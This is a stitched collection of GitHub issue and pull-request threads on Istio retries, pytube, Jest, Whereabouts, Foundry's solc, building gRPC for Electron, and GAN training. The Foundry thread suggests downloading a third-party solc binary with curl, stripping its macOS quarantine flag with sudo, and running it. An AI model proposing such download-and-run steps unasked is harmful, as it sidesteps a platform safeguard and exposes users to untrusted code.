Client Version: v1.21.5
Server Version: v1.21.1

Additional Information
No response

apiVersion: networking.istio.io/v1alpha3
kind: EnvoyFilter
metadata:
  name: retry-interval
spec:
  workloadSelector:
    labels:
      app: playlists-api
  configPatches:
  - applyTo: HTTP_ROUTE
    match:
      context: SIDECAR_OUTBOUND
    patch:
      operation: MERGE
      value:
        name: envoy.filter.retry
        route:
          retry_policy:
            retry_back_off:
              base_interval: 4s
              max_interval: 40s

typed_config is not necessary and istio warn for unknown field.
maybe we should check Envoy's route, like istioctl proxy-config route xxx --name xxx | jq '.[].virtualHosts[].routes[].route'

Default Retry policy maybe controlled by this: https://github.com/istio/istio/blob/f8baff38c9b4129c0a6a1b24e31881f90a2c11e6/pilot/pkg/networking/core/v1alpha3/route/retry/retry.go#L33

Hi @j2gg0s ,
I can see the envoyFilter reflecting in the side car.
            {
                "name": "playlists-api.default.svc.cluster.local:80",
                "domains": [
                    "playlists-api.default.svc.cluster.local",
                    "playlists-api",
                    "playlists-api.default.svc",
                    "playlists-api.default",
                    "<IP_ADDRESS>"
                ],
                "routes": [
                    {
                        "name": "playlists-api",
                        "match": {
                            "prefix": "/"
                        },
                        "route": {
                            "cluster": "outbound|80||playlists-api.default.svc.cluster.local",
                            "timeout": "0s",
                            "retryPolicy": {
                                "retryOn": "connect-failure,refused-stream,unavailable,cancelled,retriable-status-codes",
                                "numRetries": 5,
                                "perTryTimeout": "2s",
                                "retryHostPredicate": [
                                    {
                                        "name": "envoy.retry_host_predicates.previous_hosts",
                                        "typedConfig": {
                                            "@type": "type.googleapis.com/envoy.extensions.retry.host.previous_hosts.v3.PreviousHostsPredicate"
                                        }
                                    }
                                ],
                                "hostSelectionRetryMaxAttempts": "5",
                                "retriableStatusCodes": [
                                    503
                                ],
                                "retryBackOff": {
                                    "baseInterval": "2s",
                                    "maxInterval": "8s"
                                }
                            },
                            "maxStreamDuration": {
                                "maxStreamDuration": "0s",
                                "grpcTimeoutHeaderMax": "0s"
                            }
                        },
                        "metadata": {
                            "filterMetadata": {
                                "istio": {
                                    "config": "/apis/networking.istio.io/v1alpha3/namespaces/default/virtual-service/playlists-api"
                                }
                            }
                        },
                        "decorator": {
                            "operation": "playlists-api.default.svc.cluster.local:80/*"
                        }
                    }
                ],
                "includeRequestAttemptCount": true
            }

When I make a API request all retries happen at once instead of back_off ? Am I missing something. Or is this a bug ?

@gmeher Sorry, i'm not familiar with retry policy.
Maybe because perTryTimeout is same as baseInterval?

Do you know, any one who can figure out what is happening here ?
@j2gg0s


How to create if not using icon Tint Color

Hello sir
may i know how to not using Tint icon Color? because i want to using image on the setIcon
thank you

Hello
Sorry but that place should only be filled by an icon, not an image. And icons should have a tint otherwise the default color (blue) will be applied.

hello
I removed the default tint color and added circularity to icon's imageview
you can grab v1.0.4 now

thank you


Fix nficano#467 KeyError: 'url_encoded_fmt_stream_map'

Looks like @FidoDidoVN had the same idea as me a few days ago, but it was posted on an issue from September so I only saw it after I made the fix. Still I guess credit has to go to them.

Hi, sorry, it looks like not all runtime errors a fixed yet:
https://github.com/swiftyy-mage/pytube/blob/88b1c9da1a69a78d042dc8ffe9699de3f15b79a0/pytube/mixins.py#L10

Don't apologize I really shouldn't find it so difficult to import modules. It's because I didn't copy/paste the whole file from my version, I just edited the fork which leads me to forget simple stuff. Should be working fine now.

Had to make a 4th commit because the 3rd was submitted from my phone and it capitalized the F in from pytube.compat

@nficano can you merge this PR and release still this year? I am facing the same issue and would like a permanent fix, thanks!

Thank you, this worked for me. @nficano could you please merge this?

Hi,
For me the error (KeyError: 'url_encoded_fmt_stream_map') is keep showing up.
At first I tried to update the package using the following command:
pip install pytube -U
The package was successfully upgraded to 9.5.3 version, but the same error continue to rise.
At next, I tried to install the package base on 2 commit:

The last commit (66b33803adb1780a84c7cf75ab8968bd5f0fcffc )  -> still having the same error
The commit that should fix the problem according to what  I read in StackOverflow
(e5f1a9e2476b096ed2012939d50851d3499016e1), throwing :

"fatal: reference is not a tree: e5f1a9e2476b096ed2012939d50851d3499016e1
ERROR: Command errored out with exit status 128: git checkout -q e5f1a9e2476b096ed2012939d50851d3499016e1 Check the logs for full command output."
The command I have used is the following:
pip install -e git+https://github.com/nficano/pytube@e5f1a9e2476b096ed2012939d50851d3499016e1#egg=pytube
I have tried several time to reinstall the package without any success to get rid of the error(pip install --upgrade --force-reinstall)
I Appreciate your help!

@nficano would be great f you could merge, thanks

LGTM, this solution worked for me!

Merge would be awesome :) no pressure

Getting the Error
Keyerror :"url"
The URL having having underscore is facing the issue

Issue seems to be fixed already -- please re-open if this isn't the case :)


 I also want to add some edge tests to make sure I'm removing as expected.

Bump minor and release, add also a tag with a ref to this pr.

Sweeeeeeeet!


Update relations.md

Hello,
I've been using Objection in my Node 14 project for a while now. Because I am using ES Modules, there is no need for circular import solutions. This is not reflected in the docs however so I updated them.
If you'd like me to change the wording / examples please do let me know!

Coverage remained the same at 97.005% when pulling 1319e7e7a7af606b5d9699057fec48eb18f238c3 on jillesme:esm-relations into ee9545b97f651d89dc3ddb6e2bca6667c0cc9816 on Vincit:master.

Coverage remained the same at 97.005% when pulling 1319e7e7a7af606b5d9699057fec48eb18f238c3 on jillesme:esm-relations into ee9545b97f651d89dc3ddb6e2bca6667c0cc9816 on Vincit:master.

@koskimas wdyt 😊?

@koskimas wdyt 😊?

@jillesme interesting. We have suffered from require looops horribly in our huge backend project at @leaplabs.
We write it in TS in ES modules, but we transpile to commonJS as we run on node 12 in production.
How come ES modules don't suffer from cyclic deps? Is there any mention of this property in ecmascript spec or anywhere else?

I realized this was an issue as well and created my PR before I saw this-- whoops.
I would recommend adding in the error that users will encounter if not using the static getter for relationMappings to help people find this documentation when they search for the error that occurs if they try to define a static relationsMapping = {...} with a circular import (as here: https://github.com/Vincit/objection.js/pull/2071/commits/dd50b6e7a1dcf14b40cf1a334ea1d5b5fdf7db5f#diff-293ee03e47e7a07dd14dda512ad27e1df4cf4eec7190e9d81e5fdf86e966290fR225)

I just had this exact question while looking at the docs, only to have to search for a workaround and I found this. Would be nice if it could be merged

@koskimas should I close this if there is no interest in merging it? I think it could be helpful

Thanks @jillesme!


Auto-scrolling

This change is

I have two implementations (the two commits). Both work. I don't understand why either is working. Please take a look at the diff: https://github.com/sillsdev/EthnoLib/pull/43/commits/3880bb802f2944f1a503633e2375492a711f50e3?diff=split&w=0


expect: Compare DOM nodes even if there are multiple Node classes

Summary
The solution in #7995 was an unintended breaking change for tests that compare DOM nodes which are not instanceof the Node class that in the global scope:

An actual case is JSDOM.fragment returns fragment which has different base class than Node class from --env=jsdom option
A plausible case is in-browser testing children of an iframe element

Replace isDomNode function with a possibility that we discussed in https://github.com/facebook/jest/pull/7791#issuecomment-460466000
/cc @mfeineis
Although this change makes it possible to compare two nodes which have the same base class, it wasn’t and still isn’t possible to compare two nodes which have different base classes because the isEqualNode method throws TypeError: Failed to execute 'isEqualNode' on 'Node': parameter 1 is not of type 'Node'.
Test plan
Existing tests pass
Added toEqual-dom.test.js file as spec for:

DOM nodes which have isEqualNode method
literal objects which do not have isEqualNode method to prevent regression #7786

I didn’t add test of multiple Node classes because it might break in future jsdom versions

Codecov Report

Merging #8064 into master will increase coverage by 0.01%.
The diff coverage is 100%.

@@            Coverage Diff             @@
##           master    #8064      +/-   ##
==========================================
+ Coverage   62.36%   62.37%   +0.01%
==========================================
  Files         262      262
  Lines       10312    10313       +1
  Branches     2491     2491
==========================================
+ Hits         6431     6433       +2
  Misses       3307     3307
+ Partials      574      573       -1

Impacted Files
Coverage Δ

packages/expect/src/jasmineUtils.ts
85.84% <100%> (+1.01%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 3e32813...c5c35e7. Read the comment docs.

Interesting, I didn't think of cases where nodes may have different base classes and the tests obviously also didn't check for that :smile: - at least now that's part of the official API documented by the test suite.

The new tests make sure that Jest works for ordinary DOM and doesn’t regress for your use case.
Although we confirmed the breaking case in local tests, it seemed too brittle for Jest repo.


[BUG] ip-reconciler pod is not working

Describe the bug
The ip-reconciler command cannot be found in the POD generated by Cronjob and is not running.
Events:
  Type     Reason          Age                   From               Message
  ----     ------          ----                  ----               -------
  Normal   Scheduled       23m                   default-scheduler  Successfully assigned kube-system/whereabouts-28503377-6pl7n to beta-node002.k8s.dev.ascentlab.io
  Normal   AddedInterface  23m                   multus             Add eth0 [<IP_ADDRESS>/32] from k8s-pod-network
  Normal   Pulled          22m (x5 over 23m)     kubelet            Container image "ghcr.io/k8snetworkplumbingwg/whereabouts:latest-amd64" already present on machine
  Normal   Created         22m (x5 over 23m)     kubelet            Created container whereabouts
  Warning  Failed          22m (x5 over 23m)     kubelet            Error: failed to create containerd task: failed to create shim task: OCI runtime create failed: runc create failed: unable to start container process: exec: "/ip-reconciler": stat /ip-reconciler: no such file or directory: unknown
  Warning  BackOff         3m39s (x92 over 23m)  kubelet            Back-off restarting failed container

Environment:

Whereabouts version : 0.6.3
Kubernetes version (use kubectl version): 1.21
Network-attachment-definition: N/A
Whereabouts configuration (on the host): N/A
OS (e.g. from /etc/os-release): CentOS 7.9
Kernel (e.g. uname -a): 3.10.0-1160.el7.x86_64
Others: N/A

I have identified the cause.
The problem occurred because Helm-Charts Github did not update.

Helm Chart : LINK

As written on README.md , I confirmed that there is no problem if you install it as below.
git clone https://github.com/k8snetworkplumbingwg/whereabouts && cd whereabouts
kubectl apply \
    -f doc/crds/daemonset-install.yaml \
    -f doc/crds/whereabouts.cni.cncf.io_ippools.yaml \
    -f doc/crds/whereabouts.cni.cncf.io_overlappingrangeipreservations.yaml

I also want you to update Helm Chart Github.


Add an option to ignore file-system-check inputs

Introduce a Gradle option
org.gradle.configuration-cache.inputs.unsafe.ignore.file-system-checks
that can be used to exclude file system checks on the
specified path from configuration cache inputs
fingerprinting.
Fixes #25418

@bot-gradle test RFN

I've triggered the following builds for you:

ReadyForNightly build

@bot-gradle test RFN

I've triggered the following builds for you:

ReadyForNightly build

@bot-gradle test and merge

I've triggered a build for you. Click here to see all failures if there's any.

Pre-tested commit build failed. Click here to see all build failures.

Your PR is queued. See the queue page for details.

I've triggered a build for you. Click here to see all failures if there's any.


Solc Error - MacOS 12.2.1

Component
Forge, Foundryup
Have you ensured that all of these are up to date?

[X] Foundry
[X] Foundryup

What version of Foundry are you on?
forge 0.2.0 (ccb9aa5 2022-08-17T00:15:53.357658Z)
What command(s) is the bug in?
forge build
Operating System
macOS (Apple Silicon)

Describe the bug
Solc Error on Fresh install.
(base) dev@Devs-MacBook-Pro berachain-contracts % foundryup
foundryup: installing foundry (version nightly, tag nightly-ccb9aa595019ea6fa60abe2d78710a56ea2a6efa)
foundryup: downloading latest forge, cast and anvil
##################################################################################################################################### 100.0%
foundryup: downloading manpages
##################################################################################################################################### 100.0%
foundryup: installed - forge 0.2.0 (ccb9aa5 2022-08-17T00:15:53.357658Z)
foundryup: installed - cast 0.2.0 (ccb9aa5 2022-08-17T00:15:53.357658Z)
foundryup: installed - anvil 0.1.0 (ccb9aa5 2022-08-17T00:15:53.593628Z)
foundryup: done
(base) dev@Devs-MacBook-Pro berachain-contracts % source /Users/dev/.zshrc
(base) dev@Devs-MacBook-Pro berachain-contracts % forge build
[⠊] Compiling...
[⠆] installing solc version "0.8.15"
[⠒] Successfully installed solc 0.8.15
Error:
Solc Error:
(base) dev@Devs-MacBook-Pro berachain-contracts % solc

Seconding this issue.

@itsdevbear works fine for me with 0.8.16
❯ forge b --use 0.8.16
[⠒] Compiling...
[⠑] Compiling 117 files with 0.8.16
[⠒] Solc 0.8.16 finished in 9.28s
Compiler run successful (with warnings)

could you try nuking the ~/.svm folder and try again?
cc @roynalnaruto

@mattsse @itsdevbear
Yep, that worked for me and now I'm unable to replicate the issue so that's good 👍
If that doesn't work, try downloading solc and see if you can run it:
curl -LO https://raw.githubusercontent.com/roynalnaruto/solc-builds/fc7263e8b571b6a4c754d443fa4b7b4236b4735f/macosx/aarch64/solc-v0.8.15
chmod +x solc-v0.8.15
sudo xattr -d com.apple.quarantine solc-v0.8.15
./solc-v0.8.15 --version


Prev value for calc / upsert

It is useful for calc to discern when it's init call and when it's update call, much like upsert.
// simple way
let a = calc((value, prev) => {
  if (prev == null) return create()
  return update()
}, [deps])

But that messes up the whole "passing deps" thing.
! Maybe we need "any-observable" wrapper, taking any observable-ish thingy and returning its current state, similar to getval, but providing ref-compatible API? (a separate ticket)
The other way for calc to know init call is to have upsert-like entries:
let a = calc((...deps) => {
  return newUpdated
}, () => {
  return newInserted
}, deps)

For update though, we would need to have prev value, eg. to call replaceWith. But that again messes up deps as arguments, then we should pass deps as array and prev as the second argument, or force user manually wrap deps into observables and read them from inside effect.
let a = calc((deps, prev) => {
  let newNode = create(...deps)
  prev.replaceWith(newNode)
}, (deps) => {
  return create(...deps)
}, deps)

// OR
let depA = obs(stream), depB = obs(iterable), depC = obs(events)
let a = calc((prev) => {
  let newNode = create(depA(), depB(), depC())
  prev.replaceWith(newNode)
}, () => {
  return create(depA(), depB(), depC())
}, [depA, depB, depC])

Btw, that could also naturally optimize fx(reaction, deps, sync?) thingy - it would be fx(update, init?, deps) - if init is not provided then that does async update.

Calc also must have a teardown function - something that should happen on teardown, like, disposing subscriptions.

Nah. Too trivial to implement by user, too much overhead for the lib.


CloudNativePG copy edits

first read of applications and architecture topics.

@ebgitelman Could you please work on smaller batches?

@ebgitelman can you please sign off your commits?
More info: https://github.com/cloudnative-pg/cloudnative-pg/blob/main/contribute/README.md#sign-your-work

@ebgitelman can you please sign off your commits? More info: https://github.com/cloudnative-pg/cloudnative-pg/blob/main/contribute/README.md#sign-your-work

Yes, I will do going forward. Thank you for letting me know.

@ebgitelman Could you please work on smaller batches? Or do you prefer you first complete your work, exit draft mode, and we review it? Consider we are changing some of the docs in the meantime.

@gbartolini I can work however you'd like. However, sometimes I do commit things when they've only been read once. I will always comment on these, as I do need to read everything two times. Please let me know how you'd like this to go but note that I don't like to read the same topic two times in a row (without something intervening) as it's hard to have fresh eyes that way. So probably at a minimum I would prefer to commit two topics at a time. Thank you!


Error running gRPC greeter example with electron

Running the node gRPC greeter example with electron will throw the following error.
I'm using electron v0.37.5 which is using Node 5.10.0.
I'm not sure if this error should be fixed inside gRPC or electron. If it should be fixed inside electron, maybe someone could give some details how to fix this, so I can file a bug against the electron project.
[Error: /projects/grpc/examples/node/node_modules/grpc/src/node/extension_binary/grpc_node.node: undefined symbol: GENERAL_NAME_free]
A JavaScript error occurred in the main process
Uncaught Exception:
Error:
/projects/grpc/examples/node/node_modules/grpc/src/node/extension_binary/grpc_node.node: undefined symbol: GENERAL_NAME_free
at Error (native)
at process.module.(anonymous function) as dlopen
at Object.Module._extensions..node (module.js:440:18)
at Object.module.(anonymous function) as .node
at Module.load (module.js:357:32)
at Function.Module._load (module.js:314:12)
at Module.require (module.js:367:17)
at require (internal/module.js:16:19)
at Object. (/projects/grpc/examples/node/node_modules/grpc/src/node/src/grpc_extension.js:38:15)

Try linking your gRPC library against libcrypto, e.g.
diff --git a/binding.gyp b/binding.gyp
index 8efc8a2..c391efe 100644
--- a/binding.gyp
+++ b/binding.gyp
@@ -735,6 +735,9 @@
       'include_dirs': [
         "<!(node -e \"require('nan')\")"
       ],
+      'libraries': [
+        "-Wl,-rpath, /path/to/grpc/third_party/openssl-1.0.2f/libcrypto.a"
+      ],
       'cflags': [
         '-std=c++11',
         '-Wall',

You can download and build openssl-1.0.2f using this script:
https://github.com/grpc/grpc/blob/86dd47d355b93ba136fc5a0eaa6f2de0ad0e9b75/tools/openssl/use_openssl.sh
After building grpc_node, you can then npm link to it from your node_modules.

I'm having this same issue, also using the same versions of node and electron 0.37.8. I've also done as you said and pulled the repo, downloaded openssl, updated my binding.gyp however I'm not seeing anything confirming that libcrypto was linked and after linking my self-built<EMAIL_ADDRESS>I still get the error...

App threw an error when running [Error: dlopen(/Users/Steven/Gocode/src/bitbucket.org/entrik/rejen-client/node_modules/grpc/src/node/extension_binary/grpc_node.node, 1): Symbol not found: _GENERAL_NAME_free"

Can you try installing the grpc module using the instructions here, with --build-from-source as an additional argument on the npm install line?

With Electron 0.37.8 and a recent copy of libssl-dev, npm install with --build-from-source succeeds.  I get the exact same output with a working copy of the library that is built against regular Node. Those symbols are expected to be dynamically resolved when the extension is loaded because the Node binary itself makes the libssl and libcrypto symbols available to extensions.
It looks like Electron may stop it from doing that. I am not familiar with the internals of Electron, so I don't know exactly what's going on. I may have to do the same trick I do on Windows, and ship precompiled binaries that are statically linked with BoringSSL.

Yes, exactly, see https://github.com/electron/electron/commit/88b6a60c29075333092dcfa63535ac61195f47f0.
Apparently, this was done to avoid conflicts with BoringSSL (given that Electron ships with with the Chromium content module). We resolved to linking with OpenSSL for now, but I suppose it would be cleaner to make Electron play well with BoringSSL, instead.

@murgatroid99 I am attempting to resolve the same issue with grpc failing to run in electron. Can you offer any guidance on how to:

do the same trick I do on Windows, and ship precompiled binaries that are statically linked with BoringSSL.

I forked grpc and modified the [binding.gyp] (https://github.com/wdawson4/grpc/commit/c67ac1c1abdb2b312b36b1defeee5d6f06d09f65) to link to BoringSSL ( i think I did it correctly.. this is my first time working with gyp), but I am still getting the same error as @cyberflohr
Can you see anything wrong with my [binding.gyp] (https://github.com/wdawson4/grpc/blob/master/binding.gyp) that might prevent BoringSSL from being linked correctly? Is this the right process to begin with?

@wdawson4 One problem there is that the entire BoringSSL target is under the OS == "win" condition. Another is that in the target_defaults section at the top, some of the stuff under the OS == "win" condition are needed to use BoringSSL, and some of the stuff in the else case of that condition make it link against OpenSSL instead.

@murgatroid99 thanks for looking it over. Your first point was a simple correction, but I would appreciate it if you could identify what in the OS == "win" condition is required to use BoringSSL and verify that I removed everything in the else condition that was causing it to link to OpenSSL.

in the target_defaults section at the top, some of the stuff under the OS == "win" condition are needed to use BoringSSL

What specifically in the OS == "win" section is required to use BoringSSL?
      ['OS == "win"', {
        "include_dirs": [
          "third_party/boringssl/include",
          "third_party/zlib"
        ],
        "defines": [
          '_WIN32_WINNT=0x0600',
          'WIN32_LEAN_AND_MEAN',
          '_HAS_EXCEPTIONS=0',
          'UNICODE',
          '_UNICODE',
          'NOMINMAX',
          'OPENSSL_NO_ASM',
          'GPR_BACKWARDS_COMPATIBILITY_MODE'
        ],
        "msvs_settings": {
          'VCCLCompilerTool': {
            'RuntimeLibrary': 1, # static debug
          }
        },
        "libraries": [
          "ws2_32"
        ]
},

some of the stuff in the else case of that condition make it link against OpenSSL instead.

I made these changes to correct this:
diff --git a/binding.gyp b/binding.gyp
index 69fa3da..f4947d0 100644
--- a/binding.gyp
+++ b/binding.gyp
@@ -83,7 +83,6 @@
           'GPR_BACKWARDS_COMPATIBILITY_MODE'
         ],
         'include_dirs': [
-          '<(node_root_dir)/deps/openssl/openssl/include',
           '<(node_root_dir)/deps/zlib'
         ],
         'conditions': [
@@ -98,16 +97,7 @@
               '-fprofile-arcs'
             ]
           }
-         ],
-         ["target_arch=='ia32'", {
-             "include_dirs": [ "<(node_root_dir)/deps/openssl/config/piii" ]
-         }],
-         ["target_arch=='x64'", {
-             "include_dirs": [ "<(node_root_dir)/deps/openssl/config/k8" ]
-         }],
-         ["target_arch=='arm'", {
-             "include_dirs": [ "<(node_root_dir)/deps/openssl/config/arm" ]
-         }]
+         ]
         ]
       }]
     ]

Is that correct? Is there anything else that is causing it to link to OpenSSL?
{ # OS != "win"
        'variables': {
          'config': '<!(echo $CONFIG)',
          # The output of "node --version" is "v[version]". We use cut to
          # remove the first character.
          'target%': '<!(node --version | cut -c2-)'
        },
          # Empirically, Node only exports ALPN symbols if its major version is >0.
          # io.js always reports versions >0 and always exports ALPN symbols.
          # Therefore, Node's major version will be truthy if and only if it
          # supports ALPN. The target is "[major].[minor].[patch]". We split by
          # periods and take the first field to get the major version.
        'defines': [
          'TSI_OPENSSL_ALPN_SUPPORT=<!(echo <(target) | cut -d. -f1)',
          'GPR_BACKWARDS_COMPATIBILITY_MODE'
        ],
        'include_dirs': [
          '<(node_root_dir)/deps/zlib'
        ],
        'conditions': [
          ['config=="gcov"', {
            'cflags': [
              '-ftest-coverage',
              '-fprofile-arcs',
              '-O0'
            ],
            'ldflags': [
              '-ftest-coverage',
              '-fprofile-arcs'
            ]
          }
         ]
        ]
      }]
    ]
  },

Thank you for your help.

This is my modification to the 0.13.0 version binding.gyp , and we have made grpc run in electron 0.36.4. Hope this can help :)
diff binding.gyp binding-new.gyp
81c81,82
<           'TSI_OPENSSL_ALPN_SUPPORT=<!(echo <(target) | cut -d. -f1)'
---
>           'TSI_OPENSSL_ALPN_SUPPORT=<!(echo <(target) | cut -d. -f1)',
>           'OPENSSL_NO_ASM'
84,85c85,88
<           '<(node_root_dir)/deps/openssl/openssl/include',
<           '<(node_root_dir)/deps/zlib'
---
>           #'<(node_root_dir)/deps/openssl/openssl/include',
>           #'<(node_root_dir)/deps/zlib'
>           "third_party/boringssl/include",
>           "third_party/zlib"
114c117
<     ['OS == "win"', {
---
>     ['OS == "linux"', {
142c145
<             '-std=c99',
---
>             '-std=gnu99',
750a754,755
>         "boringssl",
>         "z"

Hi, I'm having this issue on OS X Yosemite. Anybody had any success?
I tried reinstalling openssl through homebrew and it gave me a message about how Apple is ditching OpenSSL in favor of their own implementation. It said when compiling, I would have to add in some flags myself. The environment variables are:
LDFLAGS=-L/usr/local/opt/openssl/lib
CPPFLAGS=-I/usr/local/opt/openssl/include

I'm currently trying to edit the bindings.gyp file to pass in these variables, and then rebuilding grpc from source by doing:
# from node_modules/grpc
npm install --build-from-source

I'm not very experienced with node-gyp. As a result I haven't had much luck.

Hi there, some news about this? I'm having the same problem here. Tryed @Zerqkboo  patch but i'm on 0.15 release.

I'm working on this, but it's tricky, The fundamental problem is that when building for Node under Linux and Mac, we need to use the OpenSSL that's built into Node because the Node headers include the OpenSSL headers, but when building for Electron, we need to use BoringSSL because Electron doesn't export those symbols. Unfortunately, there's no way to check in the gyp file whether you're building for Electron. I filed electron/electron#6556 to change that.
So, as this issue demonstrates, it's easy enough to compile this library for Electron; the hard part is determining when to choose those compilation options.

How did you compile grpc? I have the DLL issue

same problem, but we decide to wrap the grpc with http, so we just request http in the electron to solve it. currently, there is not a clean way to deal with it.

it's easy enough to compile this library for Electron;

@murgatroid99 How do you compile grpc for Electron on Windows?
It'd be nice to have this information somewhere. electron-rebuild is not working with the greeter example.

That quotation was referring to the binding.gyp modifications that others suggested above. On Linux, gRPC does not currently work with Electron out of the box. But on Windows, I would expect it to already work, because those binding.gyp changes are already applied to Windows.
What specific errors are you seeing when you try to run electron-rebuild?

I keep getting:

..\src\node\ext\call.cc(616): error C2039: 'SetHiddenValue': is not a member of 'v8::Object' [C:\myproj\node_modules\grpc\build\grpc_node.vcxproj]

OK, that's the same error that's getting reported in #8166. My best guess at the moment is that Electron uses a very new version of v8, and that specific method has been deprecated and removed. I expect to remove the call to that method soon, and then the following release should build properly.
Alternatively, you may be able to get it to work for now with a slightly older version of Electron.

There's a npm shrinkwrap + forking grpc work around as an alternative to downgrading to Electron v1.2.x.

I am experiencing this issue as well. There are a lot of ideas in here but none of them really spell out exactly what to do and whether or not it's actually worked for anyone.

I've tried everything and still running into the openssl issue:
.././src/core/lib/security/credentials/jwt/json_token.h:38:10: fatal error: 'openssl/rsa.h' file not found
#include <openssl/rsa.h>
         ^
1 error generated.
gyp ERR! build error
gyp ERR! stack Error: `make` failed with exit code: 2
gyp ERR! stack     at ChildProcess.onExit (/usr/local/lib/node_modules/npm/node_modules/node-gyp/lib/build.js:276:23)
gyp ERR! stack     at emitTwo (events.js:106:13)
gyp ERR! stack     at ChildProcess.emit (events.js:191:7)
gyp ERR! stack     at Process.ChildProcess._handle.onexit (internal/child_process.js:215:12)
gyp ERR! System Darwin 16.1.0
gyp ERR! command "/usr/local/bin/iojs" "/usr/local/lib/node_modules/npm/node_modules/node-gyp/bin/node-gyp.js" "build" "--fallback-to-build" "--module=/srv/caliban/node_modules/grpc/src/node/extension_binary/grpc_node.node" "--module_name=grpc_node" "--module_path=/srv/caliban/node_modules/grpc/src/node/extension_binary"
gyp ERR! cwd /srv/caliban/node_modules/grpc
gyp ERR! node -v v6.8.1
gyp ERR! node-gyp -v v3.4.0
gyp ERR! not ok

Ok, this fixed the openssl problem
LDFLAGS=-L/usr/local/opt/openssl/lib CPPFLAGS=-I/usr/local/opt/openssl/include ./node_modules/.bin/electron-rebuild
But now I get this error:
../src/node/ext/call.cc:616:20: error: no member named 'SetHiddenValue' in 'v8::Object'
info.This()->SetHiddenValue(Nan::New("channel_").ToLocalChecked(),
~~~~~~~~~~~  ^

Is there any fix for this that works for Sierra? I'm using electron 1.4.4 and node 6.8.1. I've done:
brew install openssl --force
and then
LDFLAGS=-L/usr/local/opt/openssl/lib CPPFLAGS=-I/usr/local/opt/openssl/include ./node_modules/.bin/electron-rebuild
It rebuilds the extension binary but I still get the error: Symbol not found: _GENERAL_NAME_free
I even tried manually building with:
cd node_modules/grpc
LDFLAGS=-L/usr/local/opt/openssl/lib CPPFLAGS=-I/usr/local/opt/openssl/include HOME=~/.electron-gyp node-pre-gyp rebuild --target=1.4.4 --arch=x64 --dist-url=https://atom.io/download/atom-shell

Try linking your gRPC library against libcrypto, e.g.

@sdgn Besides building openssl then adding those lines to binding.gyp, what else so we have to do?
I try node-gyp configure in the grpc-node/packages/grpc-native-core but I get
gyp: Undefined variable module_name in binding.gyp while trying to load binding.gyp

I see it has some lines like this:
    {
      "target_name": "action_after_build",
      "type": "none",
      "dependencies": [ "<(module_name)" ],
      "copies": [
        {
          "files": [ "<(PRODUCT_DIR)/<(module_name).node"],
          "destination": "<(module_path)"
        }
      ]
    }

Can you make it more clear how to build this from scratch, so it can finally be linked into a project?

@sdgn Besides building openssl then adding those lines to binding.gyp, what else so we have to do?

I am not sure if this is what you are looking for, but the Node.js package for gRPC now comes with precompiled binaries for Electron.
npm install grpc --runtime=electron --target=<electron version>

@sdgn Thanks, that works! How do I store those flags somewhere (f.e. package.json) so that I just run npm install in my project and it works? (I have grpc listed in dependencies)

Basically, just want end users to run npm i and that's it.

Found a solution that works for now: I removed grpc from package.json's dependencies, then I added
	"postinstall": "npm install<EMAIL_ADDRESS>--runtime=electron --target=1.7.9"

So, all that is needed is npm install in the project root.
Seems like grpc should be listed in dependencies, and somehow those flags passed to grpc (taken from somewhere) during npm install with no flags. Again, I just want end users to run npm install with no extra flags.


Low-shot training

How to train the Lecam-gan on the low-shot image generation datasets，THX.

Hi,
We modify the code of DiffAug to train on the low-shot image generation task.

Hi,
We modify the code of DiffAug to train on the low-shot image generation task.

Hi, would you mind sharing the source code of the low-shot generation experiments? It will help us a lot.

Hello,
I'd also try to implement lecam loss on DiffAug low shot. Could you share the train script please? Thanks!

Hi,
I would add my vote to this discussion, it would be very helpful to have a look at the training script or the modified training.loss.py file.
I tried to implement the method myself on top of the DiffAugm, but I still did not manage to reproduce the results from suppl. Table 4.
Thanks in advance!

This experiment only shows in the supplementary and does not belong to the main paper.
We'd love to release the code but it may require additional approvals.
We will try our best and see what we can do.

Hi,
Thanks a lot for answering! I understand that the clearing process for open sourcing can be time-consuming and burdensome.
Potentially to simplify the answer, could I please ask you to share a comment on my attempts to reproduce the training? Perhaps, I did not know some implementation details that appear to be important. This can also be beneficial for others trying to reproduce the results for the low-shot training.
My modification to the DiffAugm was to add the lecam regularizatoin in the training.loss.py module.

Particularly, I added a simple EMA tracker for both the real and fake logits to the StyleGAN2Loss Class:

self.val_ema_real = val_EMA()
self.val_ema_fake = val_EMA()

class val_EMA():
    def __init__(self, ema_decay=0.99):
        self.ema_decay = ema_decay
        self.mem_value = 0

    def add_step(self, cur_values):
        self.mem_value = self.ema_decay * self.mem_value + (1 - self.ema_decay) * cur_values.detach()

    def get_cur_val(self):
        return self.mem_value

During training I add new logit values to the ema accumulation, and then add the regularization to the objective functions:

    # for fakes
    loss_emaCR_fake = 0
    if do_emaCR:
        self.val_ema_fake.add_step(gen_logits)
        loss_emaCR_fake = self.cr_ema_lambda * torch.mean(torch.square(torch.nn.functional.relu(self.val_ema_real.get_cur_val() - gen_logits)))

    with torch.autograd.profiler.record_function('Dgen_backward'):
        (loss_Dgen + loss_emaCR_fake).mean().mul(gain).backward()
    ....
    # for reals
    loss_emaCR_real = 0
    if do_emaCR:
        self.val_ema_real.add_step(real_logits)
        loss_emaCR_real = self.cr_ema_lambda * torch.mean(torch.square(torch.nn.functional.relu(real_logits - self.val_ema_fake.get_cur_val())))

    with torch.autograd.profiler.record_function(name + '_backward'):
        (real_logits * 0 + loss_Dreal + loss_Dr1 + loss_emaCR_real).mean().mul(gain).backward()

I run the training for the same 300 kimg, I use self.cr_ema_lambda = 0.0001, self.ema_decay = 0.99, which corresponds to the description from the supplementary material. After the training is finished, I measure the following best FID across epochs:

Use LeCam CR?
Metrics
Animal Face - Cat
Animal Face Dog
Obama
Panda
Grumpy Cat

-
reported
42.10
58.47
47.09
12.10
27.21

Yes
reported
33.16
54.88
33.16
10.16
24.93

-
reproduced
40.20
67.12
48.31
14.44
27.09

Yes
reproduced
39.55
64.84
50.80
14.82
29.66

Thus, I am able to reproduce the original numbers from DiffAugm repository. However, the results after adding the lecam CR seem not to match to Table 4, this step is even harmful for 3/5 of the datasets.
It would be indeed very helpful if we figure out where lies my misunderstanding.
Regards,
Vadim


⚠ Feedaty widget has degraded performance

In e107761, Feedaty widget (https://widget.feedaty.com/public/js/feedaty.js?merchant=10213975&style_ver=2021&data-sku=36263) experienced degraded performance:

HTTP code: 200
Response time: 5206 ms

Resolved: Feedaty widget performance has improved in 615ef4c after 13 minutes.